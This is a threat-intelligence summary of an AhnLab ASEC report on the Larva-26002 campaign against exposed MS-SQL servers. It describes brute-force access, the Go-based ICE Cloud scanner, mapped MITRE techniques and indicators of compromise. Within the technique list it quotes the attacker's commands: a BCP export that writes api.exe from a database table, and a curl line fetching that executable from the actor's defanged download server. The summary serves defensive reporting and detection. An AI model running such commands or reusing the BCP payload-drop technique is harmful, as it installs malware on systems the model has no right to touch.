AhnLab ASEC attributes a 2026 campaign against publicly exposed, improperly managed MS-SQL servers to the Larva-26002 threat actor, which gains access via brute-force/dictionary attacks, abuses the MS-SQL BCP utility to write a downloader, and deploys a Go-based scanner called ICE Cloud Client. The actor has previously distributed Trigona and Mimic ransomware and uses tools such as AnyDesk, Teramind, and C2-hosted binaries (delivered via BCP, curl, bitsadmin, and PowerShell) to scan and prepare targets. #Larva-26002 #ICECloud
Keypoints
- Larva-26002 continues to target exposed MS-SQL servers in 2026, focusing on systems with weak or default credentials susceptible to brute force and dictionary attacks.
- The actor abuses the MS-SQL BCP utility to export malicious binaries stored in a database table (e.g., exporting binaryTable from “uGnzBdZbsi” to C:ProgramDataapi.exe using FODsOZKgAU.txt as the format file).
- When BCP is not usable, the downloader is retrieved via curl, bitsadmin, or PowerShell from a remote host (example: hxxp://109.205.211[.]13/api.exe).
- The initial downloader (api.exe) installs a Go-based scanner named ICE Cloud Client/Launcher that authenticates to a C2, registers, and receives lists of MS-SQL targets and credentials to test.
- ICE Cloud contains Turkish-language strings and emoji-like characters; it attempts MS-SQL authentication using provided credentials (e.g., “ecomm/ecomm”) and reports successful logins back to C2.
- Post-compromise tooling and access methods include AnyDesk, a port forwarder for RDP, and in 2025 the actor used Teramind (RMM) and a Rust-based scanner—showing evolving use of remote access and scanning tools.
MITRE Techniques
- [T1110 ] Brute Force – The actor gains initial access by performing brute force and dictionary attacks against exposed MS-SQL accounts. (‘Attacks against MS-SQL servers typically include brute force attacks and dictionary attacks against systems that improperly manage account information.’)
- [T1105 ] Ingress Tool Transfer – The threat actor transfers and creates tools on victims using MS-SQL BCP exports and direct downloads (curl/bitsadmin/PowerShell) to place api.exe on disk. (‘bcp “select binaryTable from uGnzBdZbsi” queryout “C:ProgramDataapi.exe” -T -f “C:ProgramDataFODsOZKgAU.txt”’ and ‘curl -o “C:programdataapi.exe” “hxxp://109.205.211[.]13/api.exe”’)
- [T1059 ] Command and Scripting Interpreter – The campaign uses command-line utilities and scripts (PowerShell, curl, bitsadmin, BCP commands) to execute downloads and create files. (‘curl -o “C:programdataapi.exe” “hxxp://109.205.211[.]13/api.exe”’)
- [T1071 ] Application Layer Protocol – ICE Cloud Launcher authenticates to and communicates with a C2 server to request and download the ICE Cloud Client and to report scan results. (‘ICE Cloud Launcher authenticates by sending the following packet to the C&C server and then sends a download request to download the scanner, “ICE Cloud Client”.’)
- [T1219 ] Remote Access Software – The actor installs remote access tools such as AnyDesk and uses RMM software (Teramind) to maintain interactive access and control. (‘the threat actor also installed AnyDesk for remote control and a port forwarder for RDP connections’ and ‘in addition to AnyDesk, he used Teramind, an RMM tool’)
- [T1021.001 ] Remote Services: RDP – The actor configures port forwarding and tests RDP connections to facilitate remote access to compromised systems. (‘As for the RDP protocol, there is a simple connection test function’)
Indicators of Compromise
- [MD5 ] Malware samples and payloads – 0a9f2e2ff98e9f19428da79680e80b77, 28847cb6859b8239f59cbf2b8f194770, and 3 more hashes
- [URL ] Downloader/C2 – hxxp://109[.]205[.]211[.]13/api[.]exe (used to download api.exe via curl/bitsadmin)
- [IP Address ] Hosting/Download server – 109.205.211.13 (associated with api.exe delivery)
- [FQDN ] Infrastructure/domain – hostroids[.]com (listed as a related domain)
- [File Name ] Created/used files and format file – api.exe, FODsOZKgAU.txt (format file used with BCP to create the executable)
- [SQL Table Name ] Database-stored payload identifier – uGnzBdZbsi (table used to store the binary payload prior to BCP export)
Read more: https://asec.ahnlab.com/en/92988/